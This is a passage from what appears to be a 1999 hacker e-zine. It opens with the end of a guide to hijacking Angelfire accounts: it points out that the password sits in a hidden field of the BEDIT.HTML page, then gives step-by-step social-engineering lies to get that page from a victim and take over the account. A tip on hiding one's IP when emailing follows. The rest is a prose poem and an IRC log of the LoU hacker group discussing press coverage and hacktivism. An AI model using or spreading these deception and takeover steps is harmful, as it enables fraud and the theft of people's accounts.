      about hacking Angelfire. The method of social engineering and method to
      hack Angelfire was insignificant. I offer you what I think is a better 
      article. Remember this is for educational purposes only and I take no 
      responsibility for what you might do with this information.

      First Things First
      ~~~~~~~~~~~~~~~~~~
      
	Well first you have to get the page that you get right after you login 
      to your Angelfire account. This page is called BEDIT.HTML And a couple 
      ines down from the <html> is their password. 
      
      <font color=teal>Your page 
       <a href="http://www.angelfire.com/ak2/r00t7/index.html">
       http://www.angelfire.com/mi/KrazieBread/index.html </a> has been saved.
      <br>
      You may have to click Reload or Super-Reload (Shift+Reload) to see your 
       edited page and not your old version when you go to your URL.
      <br>You can also announce your new page on 
      <a href="http://homepages.whowhere.com/bin/showpage.pl?add">WhoWhere?</a>, 
      <a href="http://newtoo.manifest.com/"><u>What's New Too!</u></a>, or if you
       really want to get noticed, go to <a href="http://www.submit-it.com/">
       <u>Submit It!</u></a><br>Tune up your Web Site at the 
       <a href="http://www.angelfire.com/cgi-bin/ct?ad=websitegarage&vp=/index.
        clicked&ru=http://www.websitegarage.com/whowhere">Web Site Garage</a>.</font>
      </td></tr></table></center>
      <form select method="post" action="http://www.angelfire.com/cgi-bin/bedit">
      <input type="hidden" name="storage"  value="mi">
      <input type="hidden" name="hpd"      value="r00t">     
      <input type="hidden" name="password" value="r00t7">  <-------THE PASSWORD!!!

     Alright so now you know where the password is, finding the username is a synch 
     because it's in their URL. Http://www.angelfire.com/whatever/USERNAME/
     
      This is a dumb flaw in the Angelfire user security, yet a very dangerous one if used
     right.Kind of lame actually.
     
     Moving in for the Kill
     ~~~~~~~~~~~~~~~~~~~~~~
	Ok first things first

     1.)  Find some guy that you want to hack and tell him that you found a bug 
          in IE 4.0 and Netscape Communicator that let's you install keyloggers 
          and packet sniffers on their system through a perl script. 

     2.)  Tell the guy you need his bedit.html page because you need some of the
          info on there, cause if you don't have it the script won't work.

     3.)  After he sends u the file get the shit you need...Login, and then from 
          the bedit.html page click change e-mail (don't use your real one) one 
          from Hotmail or something.

     4.)  Whatever you want to do with the page is your choice, but remember..
          be mature about it and don't do anything you'll regret later..that 
          line sounded stupid.

     Conclusion
     ~~~~~~~~~~
	Well I hope you've enjoyed this article. Thanx to eZoOns for discovering
     this vulnerability in the Angelfire system. And greetz to IllumiTIE, 
     Big Cheese, JellyNuts, Optiklenz, GodsHippy, Legion2000, HcV, HFG, and all
     black hat hackzers!#%^
     
     
     Side note;
     ~~~~~~~~~~
      BTW, although Hotmail is a favourite of 'hackers' make sure you all realize
     that whatever ip you are logged in from when sending a message is INCLUDED
     in the HEADERS of your message. Not everyone can see these if they are using
     some shit software by a small concern called Mircosloth or Mickeysnoft or 
     some wacked shit like that so be forewarned, HOTMAIL IS NOT ANONYMOUS and using
     a hacked acct to send the mail can be incriminating so be careful, use a mail
     forwarding service like netaddress and nightmail, anyone wanna do an article 
     on anonymous mailing/receiving? - Ed
     
     @HWA
     
     
  3.2 Some underground prose by Liquid Phire 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      I really liked this, it grabs you by the short hairs and pulls tightly
      read it and understand, for this is very much what it is like to be a 
      part of the underground as a newbie and beyond. - Ed
      
      
      
      Reorder
      (c) 1999 phiregod
      
      i am a hunter, searching this underground of electricity for an indiana 
      jones-esque treasure. i plunge through the piles of bullshit, and sever 
      the arteries of the sane. i found god, and i wasnt pleased, i found the 
      messiah, and i wasnt saved. my very soul did i lay upon the altar, and 
      when i lost it, i found it never was. 
      
      machiavellian superheros shook my hand and turned their backs. my vision 
      was clouded by the ciggerette smoke, and my voice was hindered by a well 
      meaning gag. i placed my hands on the planchette and found the answer 
      that i already knew.
      
      on a bloody sunday, i covered my eyes as to not see the plague. i felt 
      the refreshing rain of revolution on my burning skin and i cried. i 
      climbed the highest mountian i could find, surmounted the greatest 
      challange and i found not even that was enough to distract me from the 
      pain i felt. there are too many people to save, too many to even count.
      
      i read every bit of weathered parchment that i coud find, i plundered 
      the the lair of every thief in search of text that would provide 
      redemption. i gazed into the cherubic eyes, i smiled back at the chesire 
      grins, i found no path to follow. at this point it was obvious that i 
      would have to cut the road myself.
      
      The line was busy.
      The line was busy.
      The line was busy.
      The line was busy.
      The line was busy.
      
      as a draw another breath through my hookah of modern voodoo an image of 
      a brave new world floods my mind. this sarcophagus of a free medium is 
      merely another channel to convey advertisements. the few that dare to 
      betray what they were born for, are hunted by those that serve the 
      institution that we call a government. this house of cards that we 
      reside in will not protect us from the inevitable storm.
      
      i have joined the danse macabre, i close my eyes to avoid the light. in 
      this year 1984 i feel forced to conform to a norm that doesnt exsist. 
      fleeting glimpses of a better place catch my eye as i take the hand of 
      anubis and desend into the world i belong. in these apocalyptic times it 
      is easier to turn away then to face the fight.
      
      i listen to the anthems of every power crazed country, i've found 
      occasion to sing along, looking for a cause to fight for. more people 
      here are looking for fame and fortune, i became a god when i lost the 
      desire to obtain what i couldnt have. i was baptized in the runoff the 
      the information super highway, yes, it even rains in hell.
      
      i've shed my armor of warez, i burned the castle of manuals, and i'm 
      trying to say what others cant put into words. i followed dante's 
      footsteps, and i drank hamlet's wine. if i'm going to die then i have 
      nothing left to lose. if i seek not fame or fortune, i have nothing left 
      to win. i want every scrap of information that was ever given birth to 
      in this maquis, i seek to become the personifacation of what no one can 
      have.
      
      this is the manifesto of the product of modern life; money, comic books, 
      games, knowledge, and sex. i'm not claiming everyone belives this, i 
      doubt many of the few that will read it will understand in a vauge way 
      what i am trying to say. thats not a bad thing, the more poeple that are 
      blind, the easier it will be to slip by unnoticed. this is where i 
      belong, a faceless name, in all the faceless names that swarm the 
      internet.
      
      phiregod
      
      comments: liquidphire@hotmail.com
            cc: hwa@press.usmc.net
      
      I took the liberty of naming this piece "reorder" the phreaks will 
      understand this one, hope phiregod doesn't mind, keep writing and 
      don't give up, some of us do understand ... - Ed
      
      
      
      
      @HWA   
     
  4.0 The LoU irc log with comments from ex-LoU member Bronc Buster
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      I was unable to release this earlier because my source was not given permission
      to pass this on, however things have settled somewhat and it is now "ok" to 
      include here so here it is in its' entirety, hopefully it will shed a bit of 
      light on the whole LoU situation or at least add to the intrigue, unabridged
      please note that none of this information has been confirmed and the source is
      "unknown" please remember this when reading, however it does look legit and jives
      with what we have seen in the past regarding the LoU story, machine names of people
      joining the chat have been REMOVED by me for obvious reasons ... 
      
      * NOTE * An informative message and some enlightened words follow this log 
      (no apologies for the length we try to put out news with as little 'editing' as
      possible..) from Bronc Buster whom has, effective two days prior to this writing
      resigned from LoU on friendly terms. - Ed
      
      
      Subject: IRC log
      Date: Thu, 21 Jan 1999 19:36:16 +0100
      From: "John" <ruffneck@xxxxxxx.xxx>
      To: <cruciphux@dok.org>   
     
     
     Hi!
     
     <snip>
     
     Here's the complete log of the IRC meeting of LoU and others...
     
     <snip>
     
     Session Start: Wed Jan 20 02:34:46 1999
      * Logging #event to '#event.log'
      [02:34] *** Now talking in #event
      [02:38] *** Joins: kInGb0nG (~lil_b0ng@*!*.com)
      [02:45] *** Joins: m0f0__ (synnergy@*!*.??)
      [02:46] *** m0f0 is now known as fewer
      [02:47] <delam> heh
      [02:47] <m0f0_> is it fixed yet?
      [02:48] <delam> which problem is that?
      [02:48] <m0f0_> the bitchx one
      [02:48] <delam> I'm compiling bitchx right now on the server
      [02:48] *** Quits: feur (irc, where is the wizard of OZ)
      [02:48] <m0f0_> ok, i compiled, epic, ircii, sirc.. but i don;t like them
      all
      [02:49] *** Quits: m0f0- (Leaving)
      [02:49] *** Quits: fewer (Leaving)
      [02:49] *** Quits: m0f0__ (Hey!  Where'd my controlling terminal go?)
      [02:49] *** m0f0_ is now known as m0f0
      [02:49] <delam> what did you find bitchx was doing or not doing?
      [02:49] <m0f0> it says nick not registered yet
      [02:50] <m0f0> you can join a channel, but not talk in there
      [02:51] *** Joins: feur (~cifer@*!*.rr.com)
      [02:51] <delam> weird
      [02:54] <dyslexia> some people are still getting a no more connectiions i=
      n
      your class message
      [02:55] <delam> that's bizzare.. lemmy check the classes 1 more time
      [02:55] <m0f0> rehash the server?
      [02:55] *** Joins: lothos (lothos@*!*.??)
      [02:57] <delam> class 10 is set to 100, class 2 is set to 50 and class 1 =
      is
      set to 400
      [02:58] <delam> just HUP'ed to make sure it's loaded
      [02:58] *** Joins: cd (~gerrie@*!*.net)
      [02:58] <m0f0> ok, let's see then
      [03:00] <optiklenz> ok
      [03:00] *** Joins: sdak (synnergy@*!*.net)
      [03:00] *** Quits: sdak (BitchX by any other name is still BitchX)
      [03:00] <m0f0> bitchx still flips here, bleh
      [03:00] *** Joins: Kanuchsa (das@*!*.com)
      [03:02] *** Joins: DigiEbola (digi@*!*.net)
      [03:02] <DigiEbola> ok
      [03:02] <DigiEbola> cant you this type?
      [03:02] <m0f0> yeah, you dweeb
      [03:03] * feur is away, autoaway [log:ON] [page:ON]
      [03:03] *** Quits: Kanuchsa (: Xing)
      [03:03] *** Joins: Winn (Winn@*!*.uu.net)
      [03:03] *** Joins: MsIW (Beachie@*!*.uu.net)
      [03:04] *** Parts: lothos (lothos@*!*.??)
      [03:04] *** Joins: lothos (lothos@*!*.jp)
      [03:05] *** lothos is now known as lothos-
      [03:06] *** Quits: MsIW (Hey it has been fun! Thanks!!! Hugs!!! Kiss!!!)
      [03:06] <m0f0> heh
      [03:07] <DigiEbola> heh
      [03:07] <Winn> What happned to MS?
      [03:07] * m0f0 wonders
      [03:07] <lothos-> .
      [03:08] <DigiEbola> uggy uggy ircII
      [03:08] <Winn> shes had dialup probs
      [03:08] <Winn> delam - dude!
      [03:08] <delam> hey :)
      [03:08] *** Joins: Mark668 (~irc@*!*.pacbell.net)
      [03:08] <feur> allright, we are waiting for some folks then we will begin=
      ,
      [03:08] <Winn> we're wating for a couple more.
      [03:08] <delam> winn I think I'm outdated here heh
      [03:08] <Winn> hehehehe... who;s the oldest here?
      [03:09] <Mark668> 46
      [03:09] <m0f0> woo
      [03:09] <feur> 49
      [03:09] <Mark668> Yo, Lou.
      [03:09] <DigiEbola> 69 1/2
      [03:09] *** Joins: MsIW (Beachie@*!*.uu.net)
      [03:09] <delam> not to sound like "I remember the old days" but I did mos=
      t
      of my IRC in 90-91
      [03:10] <Winn> I am not OLD!!! :-)
      [03:10] <MsIW> Winn is old.
      [03:10] <MsIW> :)
      [03:10] <Winn> shut up!
      [03:10] <MsIW> LOL!!!
      [03:10] <Winn> 3 years and counting iw
      [03:10] <feur> 5 minutes and counting
      [03:10] <Winn> who are we missing?
      [03:11] <lothos-> I'm ahhh 20.  I thought I was old...
      [03:11] <m0f0> alot
      [03:11] <delam> I have some old logs with the MOD/LOD wars in #hack on th=
      e
      original IRC server :)
      [03:11] <optiklenz> 24 here
      [03:11] <optiklenz> who's the oldest?
      [03:11] <DigiEbola> im going to be 22 next month
      [03:11] <kInGb0nG>  26
      [03:11] <m0f0> i love to be 18
      [03:11] * optiklenz waits patiently
      [03:11] <Winn> i was once... when I was in r'n'r
      [03:11] <m0f0> esp in the netherlands..
      [03:11] <Winn> if that where you are?
      [03:12] <m0f0> heh
      [03:12] <dyslexia> heh
     [03:12] <Winn> Mofo - say hi to Rene.
      [03:12] <m0f0> hmm
      [03:12] *** Joins: legions (~fff@*!*.net)
      [03:12] *** legions is now known as datapleX_
      [03:12] <datapleX_> hrm
      [03:13] <optiklenz> legions?
      [03:13] <optiklenz> ah
      [03:13] <DigiEbola> hah
      [03:13] * datapleX_ shrugs
      [03:13] <optiklenz> basterd
      [03:13] <m0f0> he must feel eweet
      [03:13] <optiklenz> heh
      [03:13] <kInGb0nG> heh
      [03:13] <datapleX_> optik: it somehow got to mah alternative in mirc
      [03:13] <optiklenz> ah
      [03:13] * DigiEbola is not going say a word about windows tonight.
      [03:13] *** datapleX_ changes topic to 'bah?'
      [03:13] *** Quits: datapleX (Read error to
      datapleX[tcnet06-26.sat.texas.net]: EOF from client)
      [03:13] <optiklenz> hehe
      [03:13] *** datapleX_ is now known as datapleX
      [03:13] <optiklenz> i was going to say that
      [03:13] <m0f0> bitchx, sirc don't work on this server
      [03:14] *** Quits: lothos- (Excess Flood)
      [03:14] <Mark668> I've not used irc much --- what's all the "heh"s mean?
      [03:14] <delam> hahah japan? :)
      [03:14] <m0f0> like, doh?
      [03:14] <optiklenz> when someone says something funny
      [03:14] <optiklenz> you say heh
      [03:14] <Mark668> Thanks.
      [03:14] <DigiEbola> mark: its the digital equivelent to a laugh
      [03:14] <DigiEbola> heh
      [03:14] <m0f0> heh
      [03:14] <DigiEbola> try it
      [03:14] <DigiEbola> =3D)
      [03:14] <Mark668> Heheheheheheheh
      [03:14] <m0f0> aww
      [03:15] <DigiEbola> THERE YA GO!
      [03:15] <m0f0> we made him laugh
      [03:15] *** Joins: maquis (~me@*!*.internic.net)
      [03:15] * optiklenz claps
      [03:15] <Mark668> That felt virtually good
      [03:15] <delam> MuahahahaHAHAHAHaHAHaHA
      [03:15] <maquis> ahhhh
      [03:15] <delam> :)
      [03:15] <m0f0> lol
      [03:15] <optiklenz> grand job
      [03:15] <MsIW> welcome maquis
      [03:15] <maquis> hello all
      [03:15] <dyslexia> now thats an evil laugh
      [03:15] <DigiEbola> bwahahaha
      [03:15] <optiklenz> welcome out of the sockets of being a "heh" virgin
      [03:15] <maquis> <DEVIOUS CACKLE HERE>
      [03:15] <Mark668> What time do we start?
      [03:15] <datapleX>  when is the meeting officialing beginning?
      [03:15] <maquis> I was told 2100 ET
      [03:15] <optiklenz> I'm not even sure of what this whole things about
      [03:15] <m0f0> 15 mins ago
      [03:16] <Winn> <HEH> should trigger Shockwave
      [03:16] <optiklenz> so again my curiousity is getting the best of me
      [03:16] <Mark668> Yep.
      [03:16] *** Joins: lothos (lothos@*!*.net)
      [03:16] <Mark668> Back in a minute ... I need another glass of wine.
      [03:16] <Winn> red I hope
      [03:16] <DigiEbola> curiosity killed the cat, so whylome wont
      [03:16] <m0f0> hmm, let do some weed then also
      [03:16] <delam> John Lee used to be the most annoying bastard in IRC back=
      in
      1991 with his substitution program
      [03:16] *** Joins: Father (Agrosso@*!*.att.net)
      [03:17] <Winn> welcome father!
      [03:17] <maquis> <-- genuflects
      [03:17] <delam> forgive me father for I have sinned
      [03:17] <Winn> damn right
      [03:17] <delam> heh
      [03:18] <DigiEbola> father, yes son, i wanna kill you.....
      [03:18] <delam> winn I don't think these guys even know our episodes
      [03:18] * MsIW bows to the higher power
      [03:18] <m0f0> zZZzz
      [03:18] <datapleX> digi: I am thinking of an orbital song right now...
      [03:18] <datapleX> ;)
      [03:18] <m0f0> i'm thinking of my girl
      [03:18] <DigiEbola> data: ah youngone
      [03:18] <m0f0> she's wild
      [03:19] <DigiEbola> m0f0: does she do things, real fast and then real slo=
      w?
      [03:19] <m0f0> heh
      [03:19] <m0f0> you moron
      [03:19] <DigiEbola> hahaha
      [03:19] <m0f0> Digi: what about your gaymate?
      [03:20] <DigiEbola> m0f0: myself more like it
      [03:20] <feur> let's begin, as others will join
      [03:20] *** Joins: pent (dschwarz@*!*.net)
      [03:20] <DigiEbola> m0f0: it really is a problem, when i argue with
      myself....
      [03:20] <lothos> let's start
      [03:20] <maquis> start away
      [03:21] <Winn> feur - you set the stage please
      [03:21] <datapleX> WOW...what a great start that was :)
      [03:21] <MsIW> I agree lothos
      [03:21] <maquis> ...the drum roll please.....
      [03:21] <lothos> thanks Ms. IW
      [03:21] <feur> i understand there is an attorney amongst us
      [03:22] <Winn> That would be father
      [03:22] <datapleX> maybe we could start w/ an introduction so that we can
      establish who is who?
      [03:22] <optiklenz> that'd be nice
      [03:22] <Father> Who goes first?
      [03:22] <m0f0> why are we here?
      [03:23] <Winn> I am Winn Schwartau, Infowar.Com - no handle. :-)
      [03:23] <lothos> I am Lothos. :-)
      [03:23] <Winn> that helps! :)
      [03:23] <lothos> RootFest organizer, member of LoU
      [03:23] <optiklenz> I'm Steve Stakton www.legions.org
      [03:23] <optiklenz> you guys know the handle
      [03:23] <optiklenz> =3D]
      [03:23] <m0f0> I am m0f0, now from africa
      [03:23] <lothos> www.rootfest.org
      [03:23] <maquis> I am Maquis (Rick) work at Internic...friend of INFOWAR.=
      COM
      [03:23] <datapleX> heh
      [03:23] <delam> I am the Evil Dr. Delam, 2600 writer.. cover of spring 19=
      96
      :), phrack, empire times, etc, writer of the first keystroke capture prog=
      ram
      DEPL.. etc etc
      [03:23] <dyslexia> i am dyslexia, currently residing underneath you all
      [03:24] <DigiEbola> I am Digital Ebola , LoU member, Senior Editor of Kee=
      n
      Veracity
      [03:24] <datapleX> uhm...I would be someone no one knows, or really cares=
      to
      know
      [03:24] <lothos> i THOUGHT I'd be in 2600, but the new issue came out and=
      I
      guess not...
      [03:24] <lothos> heh
      [03:24] <kInGb0nG> kingb0ng, software developer, LoU member
      [03:24] <maquis> is the new ish out yet, then?? havent seen it anywhere
      [03:24] <MsIW> I suggest that Winn or Feur begin this gig
      [03:24] <datapleX> feur: who are you?
      [03:24] <feur> i am just an old man who futz's with infosec
      [03:24] <datapleX> k
      [03:24] <datapleX> ...go ahead
      [03:25] <Winn> OK. A couple years back, some hackers decided to declare w=
      ar
      on France. They wanted CNN to watch and asked me to help.
      [03:25] * optiklenz slips on his foot warmer
      [03:25] <Winn> I advised them that would be a bad idea and finally with t=
      he
      help of some understanding feds talked them out of it.
      [03:25] <Winn> So, I guess, we are interested in where the current
      activities are taking us. Comments?
      [03:25] <optiklenz> ok
      [03:26] <Winn> So, recently, as I heard it, LoU chose China and Iraq as
      targets. Is that right?
      [03:26] <optiklenz> first I'd like to clear up some misconceptions brough=
      t
      about by some bad press
      [03:26] <Winn> Thank you!!
      [03:26] <maquis> most of it's bad press.
     
      [03:26] <optiklenz> ok
      [03:27] -pent:#event- betty, come to elite.net for a sec please
      [03:27] <optiklenz> The press for so long has been so occupied with makin=
      g
      news they are not concentrating on reporting the news
      [03:27] <optiklenz> LoU is devised of members who enjoy all aspects of
      computing and hold strong ethics
      [03:28] <optiklenz> A few of the members decided to speak out against the
      current human rights issue as it is in china
      [03:28] -pent:#event- he wanted me to call barry person collect, but i
      chickened out
      [03:28] -pent:#event- thats the last i saw of him
      [03:28] <optiklenz> the actions they decided to make was that of those
      members, and those members alone at that moment, and time LoU was not
      interested in anything they were doing although our support was there
      [03:29] -pent:#event- why is the talking screwed up ?
      [03:29] <optiklenz> Most of the members have high paying network jobs so =
      no
      one really had the time
      [03:29] -pent:#event- : idle     : 2 hours 30 mins 56 secs (signon: Tue J=
      an
      19 18:11:19 1999)
      [03:29] -pent:#event- he fell asleep
      [03:30] <m0f0> someone kill pent?
      [03:30] <datapleX> pent: please quit using notices
      [03:30] <datapleX> who here is a federal agent of some kind?
      [03:30] <lothos> not me!
      [03:30] <optiklenz> We never said we were going to "destroy" anything
      [03:30] <maquis> not me
      [03:30] <Winn> none I know of
      [03:31] <lothos> I was told there would be an fbi agent of some sort here.
      [03:31] <optiklenz> all though by word of mouth, and the press putting in
      their two cents it was stated that it was our goal to totally shutdown th=
      ese
      other countries
      [03:31] <feur> there is currently none on, if one comes on, we will
      immediately notify the channel
      [03:31] <optiklenz> That sounds like something out of a sci-fi flick
      [03:31] <datapleX> was one invited?
      [03:31] <Winn> What "manifesto" so-to-speak created the impression of
      infrastructure targeting?
     [03:31] <MsIW> major lag  back in a minute
      [03:31] <feur> yes, two were
      [03:32] <optiklenz> none of them
      [03:32] <optiklenz> our primary goal was the bring awareness
      [03:32] <optiklenz> nothing more nothing less
      [03:32] <MsIW> yes dataplex.  one was invited
      [03:32] *** Quits: MsIW (Hey it has been fun! Thanks!!! Hugs!!! Kiss!!!=0F=
      )
      [03:32] <delam> was it the press that got screwed up or did someone pose =
      as
      a member and say this stuff?
      [03:32] <Winn> Human rights in China... and Iraq?
      [03:32] <lothos> one was? or two?
      [03:33] <lothos> mosthated posed as a member for some press release
      [03:33] *** Joins: MsInfoWar (Beachie@*!*.uu.net)
      [03:33] <lothos> nationalpost.com or something
      [03:33] <Winn> and he claimed.....?
      [03:33] <optiklenz> we brought about the fundamental freedoms bequeathed =
      to
      us by the Constitution
      [03:33] <optiklenz> freedoms that the people we spoke for only wished the=
      y
      had
      [03:33] <lothos> something like LoU were terrorists
      [03:34] <delam> how do you guys relate to mosthated?
      [03:34] <optiklenz> we dont
      [03:34] <optiklenz> I dont even know the guy
      [03:34] <Winn> that's the spin I heard... how many were in on that 'spin'
      versus a HR action.
      [03:34] <optiklenz> none of the members did until he pulled that stunt wi=
      th
      the national post
      [03:34] <feur> optik, did you notify national post
      [03:34] <optiklenz> you mean the dismanteling of chinese firewalls?
      [03:34] <optiklenz> I notified no one
      [03:35] <Winn> If it
      [03:35] <optiklenz> As far as i was concerned this matter was not that of
      the press
      [03:35] <optiklenz> and never should of been
      [03:35] <feur> notify national post of mosthated's non-affiliation
      [03:35] <optiklenz> Im not sure if any of the members did
      [03:35] <Winn> If it's awareness, then did anyone consider an EDT-like
      action?
      [03:35] <optiklenz> but I will most definitly look into that
      [03:36] <optiklenz> I posted a second rebuttal.  It explains a lot if you=
      'd
      take the time to read it
      [03:36] <optiklenz> www.legions.org/reb2.txt
      [03:36] <Winn> OPTIK: URL?
      [03:36] <Winn> sorry...
      [03:36] <optiklenz> members of LoU have met up with 2600, L0pht and other
      people to clear things up
      [03:37] <optiklenz> infact just a few weeks ago bronc was at dinner with
      emmanuel and issac from the 2600 staff setting things straight
      [03:37] <feur> winn, to get with the program, we got together to help LOU=
      ,
      not pimp them
      [03:37] <optiklenz> Things were posted and said that were totally false
      [03:38] <delam> have you guys been taking any heat from other hackers or
      from anyone else?
      [03:38] <optiklenz> no
      [03:38] <feur> optik, are you under any guidance from counsel now
      [03:39] <m0f0> only in lame greetings
      [03:39] <optiklenz> the only thing I fear is some chinese loyalist knocki=
      ng
      at my door ready to spike my head into the punch bowl
      [03:39] <DigiEbola> my fears exactly
      [03:39] <lothos> the only heat we've gotten that I know about is the
      cDc/2600/l0pht rebuttal
      [03:39] <optiklenz> If you guys have the time check out http://pseudo.com
      they host a show called parse
      [03:40] <feur> optik, are you under any guidance from counsel now
      [03:40] <optiklenz> no
      [03:40] <optiklenz> Im just trying to get things back to normal
      [03:40] <feur> is anyone in legions represented by counsel
      [03:40] <optiklenz> as in?
      [03:40] <optiklenz> a lawyer of some sort?
      [03:40] <feur> yes
      [03:40] <optiklenz> lawyers are for criminals
      [03:41] <lothos> not I.
      [03:41] <optiklenz> and we have commited no crime
      [03:41] <DigiEbola> not I. I actually have no lawyer
      [03:41] <dyslexia> nor i
      [03:41] <feur> and also buffers for fearful apparitions
      [03:41] <lothos> I agree with optik, lawyers are for criminals. :-)
      [03:41] <optiklenz> We'd like to set things straight
      [03:42] <optiklenz> with you, with the "hacking" community, with federal
      angencies whomever
      [03:42] <delam> I'd bet that after the press you probably have some feds
      curious
      [03:42] <m0f0> they already are
      [03:42] <Father> Hmmm.  Are lawyers for criminals, or for people whom oth=
      er
      people claim are criminals?
      [03:42] <delam> how do you know?
      [03:42] <lothos> I got almost 50 .mil and .gov hits to rootfest.org in th=
      e
      past four days
      [03:42] <dyslexia> delam, both wired and the national post have quotes fr=
      om
      feds
      [03:42] <Winn> OPT: Your posting says a polish grp did stuff you got blam=
      ed
      for. What happened?
      [03:42] <maquis> from what i've seen the feds have no clue...they're prol=
      ly
      the LAST thing to worry about....
      [03:43] <lothos> thats good to know, maquis
      [03:43] <m0f0> maybe to find us, or to get prove? curious they are
      [03:43] <optiklenz> Winn> a polish group got the wrong idea and basically
      went out attacking chinese sites saying they were doing it for our effory=
      t
      [03:43] <DigiEbola> I am more worried about .cn, then feds at this time
      [03:43] <optiklenz> effort rather
     [03:43] <datapleX> maquis: what does internic have to do with this(if you
      are representing them at this meeting that is)?
      [03:43] <maquis> < - not representing internic....mearly logged in from
      there. :)
      [03:43] <lothos> i think he said he was with infowar...
      [03:44] <maquis> < - friend of infowar.com
      [03:44] <feur> maquis, they probably have high interest due interfere in
      geopolitical theater
      [03:44] <datapleX> oh
      [03:44] <delam> that's a cool place to log in from, can I have an account=
      ?
      :)
      [03:44] <maquis> yeah, right....:)
      [03:44] <m0f0> yeah, hook us up
      [03:44] <optiklenz> www.pseudo.com/links/playlast.asp?archtype=3Dvid&show=
      id=3D21
      [03:44] <delam> never hurts to ask :)
      [03:44] <maquis> har. i can arrange tours though.... :)
      [03:44] <optiklenz> thats the last parse episode if anyone wants to check=
      it
      out
      [03:44] <delam> cool!
      [03:45] <DigiEbola> ill remember that when im in the area hehee
      [03:45] <optiklenz> bronc went on and represented the legions team basica=
      lly
      just setting the record straight and telling everyone the real deal
      [03:45] <DigiEbola> "whats this button do!? ewpzie"
      [03:45] <Winn> Does your URL rep the real deal? Is this the current
      position?
      [03:45] <DigiEbola> bronc did a fine job of representation
      [03:45] <optiklenz> yes
      [03:45] <optiklenz> actually if everyone wants
      [03:45] <optiklenz> play the url i just posted
      [03:46] <optiklenz> set the buffer to about 25
      [03:46] <optiklenz> Thats about when bronc starts talking
      [03:46] <feur> optik, when all this broke, were you in violation of
      probation
      [03:46] <optiklenz> No
      [03:46] <optiklenz> I went to texas for awhile to stay with a friend
      [03:47] <optiklenz> to get away from the media, and well everything else
      that could happen if worst came to worst
      [03:47] <MsInfoWar> was bronc invited to come tonight?
      [03:47] <datapleX> is mark awake?
      [03:47] <optiklenz> Bronc was but he declined
      [03:47] <optiklenz> he was unsure of what to make of tonights get togethe=
      r
      but i will relay everything him
      [03:47] <optiklenz> to him
      [03:47] <feur> how members have been contacted by us and other country
      intelligence or law enforcement agencies
      [03:47] <Winn> I met up with the EDT this weekend and they want to contin=
      ue
      strong HR and political actions. Do you want to continue to speak out?
      [03:48] <lothos> question. who/what is EDT?
      [03:48] <optiklenz> We do as long as everyone understands that we are not
      criminals
      [03:48] <Winn> Electronic Disruption Theater
      [03:48] <Winn> They are on line activists
      [03:48] <datapleX> HR =3D ?
      [03:49] <optiklenz> and we are merely speaking on what we beleive to be
      amended
      [03:49] <lothos> I am NOT a criminal.  I'll say that now.
      [03:49] <optiklenz> data>human rights
      [03:49] <datapleX> k
      [03:49] <Winn> To them it's an Art Form to protest.
      [03:49] <Father> I think that's what RTM & Eugene AlterNIC said.
      [03:49] <delam> scary
      [03:49] <DigiEbola> I do not want us to go down as criminals or martyrs
      [03:50] <optiklenz> Winn> our foremost intent as of right now is to get
      things cleared
      [03:50] <optiklenz> before we continue speaking on human rights we'd like=
      to
      make certain that people understand who we are and where we are coming fr=
      om
      [03:50] <Winn> How can we help get your message across?
      [03:50] <optiklenz> not precisely where we are coming from but you get th=
      e
      idea
      [03:50] <optiklenz> =3D]
      [03:50] <DigiEbola> A lot of people have asked us that same question.
      [03:51] <m0f0> i'm from greek now at the moment
      [03:51] <optiklenz> Some funding would be nice
      [03:51] <optiklenz> =3D]
      [03:51] <DigiEbola> including cbs and nbc from what i understand
      [03:51] <optiklenz> but i dont see that
      [03:51] <delam> heh
      [03:51] <optiklenz> so lets move on shall we
      [03:51] <optiklenz> heh
      [03:51] <DigiEbola> what makes you people any different from the rest?
      [03:51] <maquis> cbs/nbc there's media for ya....urg....TWPPT!
      [03:51] * optiklenz urges mark to flutter his "heh's"
      [03:51] * DigiEbola senses pimping.
      [03:51] <m0f0> lol
      [03:52] <maquis> theres a difference between the "media" and those of us =
      in
      the know like Winn, me, etc. that actually have some credibility in the
      IT/IS/INFOSEC world...
      [03:52] <feur> father, as an attorney i know you can only suggest ideas, =
      non
      directed, could you be of assistance
      [03:52] <optiklenz> Winn> Maybe if you make a statement speaking on our
      bedrock
      [03:52] <optiklenz> made a statement even
      [03:53] <maquis> people i have seen trust us more than the Big Media
      Mongrels...
      [03:53] <optiklenz> I've visited infowar a few times and I've seen archiv=
      es
      of media corrupt media to put it another way
      [03:53] <Winn> I think that getting unedited, well structured positions o=
      ut
      to larger audiences is critical to any message.
      [03:53] *** Quits: MsInfoWar (Ping timeout for
      MsInfoWar[1Cust33.tnt4.st-petersburg.fl.da.uu.net]=0F)
      [03:53] <optiklenz> It's spreaded infectiously
      [03:53] <maquis> getting raw data, no spin, edits, etc....i agree that's =
      the
      way to go....
      [03:54] <delam> one point of interest that I know of when you have a "gro=
      up"
      with a name is legally there are more things they can do to you.. MOD had
      problems with that.. the people I was with we stayed away from having a
      group name
      [03:54] <maquis> but it can't appear to be from "kiddies" and look immatu=
      re.
      like Winn says, wellbalanced and well presented stuff.
      [03:54] <Mark668> {sorry, I had to attend to other stuff for a minute:
      hehehehehehe]
      [03:54] <Father> First, I am not acting as an attorney here (as Winn know=
      s).
      [03:54] *** Joins: MsInfoWar (Beachie@*!*.uu.net)
      [03:54] <DigiEbola> hmm
      [03:54] <optiklenz> we have no legal name
      [03:54] <optiklenz> heh
      [03:54] <lothos> hahah
      [03:55] <optiklenz> Lets see
      [03:55] <DigiEbola> I am concerned tho, no body does anything for free
      [03:55] <optiklenz> one sec
      [03:55] <optiklenz> Lets take the police department
      [03:55] <Father> Second, I need to know what (1) what the problem *is*, a=
      nd
      (2) what th desired result is.
      [03:55] <optiklenz> If you have one bad cop and this guy goes out and
      murders someone
      [03:55] <optiklenz> is the whole police deparment at fault?
      [03:55] <optiklenz> do they all get the death sentance?
      [03:55] <optiklenz> are they all punished ?
      [03:55] <optiklenz> absolutely not
      [03:55] <delam> no but there is "racketeering" and conspiracy etc
      [03:55] <optiklenz> Because then we'd have no cops
      [03:55] <Father> Sometimes.  Not legally, but in fact.
      [03:55] <optiklenz> if that were the case
      [03:55] * datapleX feels that isn't a good example...
      [03:56] <optiklenz> everyone department has a good and a bad
      [03:56] <optiklenz> to stick us in the middle isn't any different
